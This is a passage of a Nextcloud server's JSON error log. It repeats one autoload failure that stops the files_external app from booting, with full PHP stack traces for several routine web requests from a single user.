entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"zaypzxR2jVAqoWjkzBDg","level":4,"time":"2022-11-09T12:55:38+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/spreed/api/v4/room","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"r7SuA15J0o4zxPpwt923","level":4,"time":"2022-11-09T12:55:38+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/weather_status/api/v1/location","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"Qyvzne0bJvsarlOvE6ts","level":4,"time":"2022-11-09T12:55:39+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"PUT","url":"/apps/user_status/heartbeat","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinf